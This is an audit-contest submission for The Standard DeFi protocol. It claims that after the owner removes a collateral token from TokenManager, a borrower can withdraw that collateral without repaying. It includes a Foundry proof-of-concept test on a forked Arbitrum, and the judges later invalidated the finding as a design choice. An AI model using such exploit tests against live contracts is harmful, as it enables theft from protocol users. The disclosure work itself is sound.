The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Invalid

remove accepted token from token manager can lead to borrower withdraw collateral

Summary

After a borrower has used a token as collateral, it can be removed from the tokenManager by invoking the removeAcceptedToken function. If the borrower withdraws the collateral assets after the owner has removed the collateral token, they can do so without making any payments.

Vulnerability Details

https://github.com/the-standard/smart-vault/blob/main/contracts/TokenManager.sol#L45#L54 from tokenManager contract we can see removeAcceptedToken function:

function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
require(_symbol != NATIVE, "err-native-required");
for (uint256 i = 0; i < acceptedTokens.length; i++) {
if (acceptedTokens[i].symbol == _symbol) {
acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
acceptedTokens.pop();
emit TokenRemoved(_symbol);
}
}
}

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L149#L154 In the SmartVaultV3 contract we can see if specific token not in the return list , canRemoveCollateral will not checked.

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}

Here is my test written using foundry:

//forge test --match-test testRemoveAcceptedToken --fork-url wss://arbitrum-one.publicnode.com -vvv
function testRemoveAcceptedToken() public {
address arb = address(0x912CE59144191C1204E64559FE8253a0e49E6548);
tokenManager.addAcceptedToken(arb, arbUsd);//add accepted token.
address deploy = address(0x53509eF0e49c8a386b81093711aF1eF29357cc25);
address index = address(0x56c7506410e5e242261c5E0db6941956c686E5A1);
//smart vault manager init.
svIndex = new SmartVaultIndex();
//set manager.
svIndex.setVaultManager(address(svManager));
//grantRole to svManager.
EUROs.grantRole(bytes32(0x00),address(svManager));
svDeployer = new svDeployerV3.SmartVaultDeployerV3(bytes32('ETH'),address(eurUsd));
svManager.initialize(12000,500,address(EUROs),address(protocol),address(0),address(tokenManager),address(svDeployer),address(svIndex),address(0));
//assuming alice is a borrower who create a vault.
vm.startPrank(alice);
(address vault,) = svManager.mint();
//alice get 100e18 arb token.
deal(arb,alice,100e18);
//alice add collateral.
IERC20(arb).transfer(vault, 100e18);
//alice borrow euros
ISmartVault(vault).mint(alice,19e18);
//check EUROs balance.
assertEq(EUROs.balanceOf(alice),19e18);
//remove accepted asset from tokenManager.
vm.stopPrank();
vm.prank(address(this));
tokenManager.removeAcceptedToken(bytes32('ARB'));
//alice withdraw asset from vault.
vm.startPrank(alice);
ISmartVault(vault).removeAsset(arb,100e18,alice);
//check final balance.
assertEq(EUROs.balanceOf(alice),19e18);
assertEq(IERC20(arb).balanceOf(alice),100e18);
}

output:

Running 1 test for test/LiquidationPool.t.sol:LiquidationTest
[PASS] testRemoveAcceptedToken() (gas: 7457739)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.35s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As we can see

  • alice first deposit ARB as collateral

  • alice mint 20e18 EUROs

  • owner remove ARB

  • alice withdraw all ARB assets

check the full test file:
https://gist.github.com/coffiasd/620089a56ce666b7924ceb1928534795

Impact

borrow can stolen assets from protocol

Tools Used

Foundry

Recommendations

recommend to delete removeAsset function.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

ua1552 Auditor
almost 2 years ago
ubl4nk Auditor
almost 2 years ago
billobaggebilleyan Auditor
almost 2 years ago
icebear Auditor
almost 2 years ago
cosine Auditor
almost 2 years ago
ua1552 Auditor
almost 2 years ago
maroutis Auditor
almost 2 years ago
cosine Auditor
almost 2 years ago
00xSEV Auditor
almost 2 years ago
ElHaj Auditor
almost 2 years ago
hrishibhat Lead Judge
over 1 year ago
pontifex Auditor
over 1 year ago
cosine Auditor
over 1 year ago
ElHaj Auditor
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.